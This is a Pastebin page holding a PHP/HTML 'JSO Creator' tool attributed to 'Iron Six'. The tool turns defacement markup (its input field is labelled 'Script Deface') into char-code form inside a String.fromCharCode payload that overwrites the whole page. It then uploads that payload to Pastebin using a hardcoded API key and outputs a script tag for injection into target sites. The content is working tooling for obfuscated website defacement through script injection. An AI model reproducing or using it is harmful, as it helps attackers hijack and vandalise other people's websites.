Advertisement
gracegrass

Iron Six PHP JSO Creator

Sep 6th, 2019
1,297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.09 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>JSO Creator by Iron Six</title>
  5. <meta name="description" content="JSO Creator" />
  6. <meta http-equiv="Content-Type" content="text/html;charset=gb2312" />
  7. <!-- SXJmYW5hdG9yIE9keXNzZXkK -->
  8. <style type="text/css">
  9. body {
  10. background-color: #f2f3f4;
  11. color: #000;
  12. font-family: terminus, monospace;
  13. font-size: 18px;
  14. width: 800px;
  15. max-width: 800px;
  16. margin: 0 auto;
  17. border: 1px solid #ccc;
  18. }
  19. textarea {
  20. width: 180px;
  21. height: 90px;
  22. }
  23. </style>
  24. <script>
  25.     function runCharCodeAt() {
  26.         input = document.charCodeAt.input.value;
  27.         output = "";
  28.         for(i=0; i<input.length; ++i) {
  29.            if (output != "") output += ", ";
  30.            output += input.charCodeAt(i);
  31.        }
  32.        document.charCodeAt.output.value = output;
  33.    }
  34. </script>
  35. </head>
  36. <body>
  37. <center>
  38.     <h1>JSO Creator</h1>
  39.     <form name="charCodeAt" method="post">
  40.         <textarea name="input" placeholder="Script Deface"></textarea><br><br>
  41.         <input type="button" onclick="runCharCodeAt()" value="Convert"><br><br>
  42.         <textarea name="output" placeholder="Hasil Convert"></textarea><br><br>
  43.         <input type="submit" name="submit" value="Pastebin">
  44.     </form>
  45.     <br><br>
  46. <?php
  47.  
  48. if (isset($_POST['submit'])) {
  49.    if (empty($_POST['output'])) {
  50.        echo "<script>alert('Convert dulu cok!!');</script>";
  51.     } else {
  52. $isi = $_POST['output'];
  53. $random = rand(1, 99999999);
  54. $api_dev_key            = '633fcbdacbff82bfd5dd821a9f8921f7'; // your api_developer_key
  55. $api_paste_code         = "document.documentElement.innerHTML=String.fromCharCode(".$isi.")"; // your paste text
  56. $api_paste_private      = '0'; // 0=public 1=unlisted 2=private
  57. $api_paste_name         = $random; // name or title of your paste
  58. $api_paste_expire_date      = 'N';
  59. $api_paste_format       = 'text';
  60. $api_user_key           = ''; // if an invalid or expired api_user_key is used, an error will spawn. If no api_user_key is used, a guest paste will be created
  61. $api_paste_name         = urlencode($api_paste_name);
  62. $api_paste_code         = urlencode($api_paste_code);
  63.  
  64. $url                = 'https://pastebin.com/api/api_post.php';
  65. $ch                 = curl_init($url);
  66.  
  67. curl_setopt($ch, CURLOPT_POST, true);
  68. curl_setopt($ch, CURLOPT_POSTFIELDS, 'api_option=paste&api_user_key='.$api_user_key.'&api_paste_private='.$api_paste_private.'&api_paste_name='.$api_paste_name.'&api_paste_expire_date='.$api_paste_expire_date.'&api_paste_format='.$api_paste_format.'&api_dev_key='.$api_dev_key.'&api_paste_code='.$api_paste_code.'');
  69. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  70. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  71. curl_setopt($ch, CURLOPT_NOBODY, 0);
  72.  
  73. $response           = curl_exec($ch);
  74. $hasil = str_replace('https://pastebin.com', 'https://pastebin.com/raw', $response);
  75. $asu = '<script type="text/javascript" src="'.$hasil.'"></script>';
  76. $kk = htmlspecialchars($asu);
  77. echo "<br><textarea>". $kk ."</textarea>";
  78. }
  79. }
  80.  
  81.  ?>
  82. <hr>
  83. <!-- santuy wh -->
  84. &#169; 2019 Iron Six<br>
  85. <small>The Next Level</small>
  86.  </center>
  87. </body>
  88. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement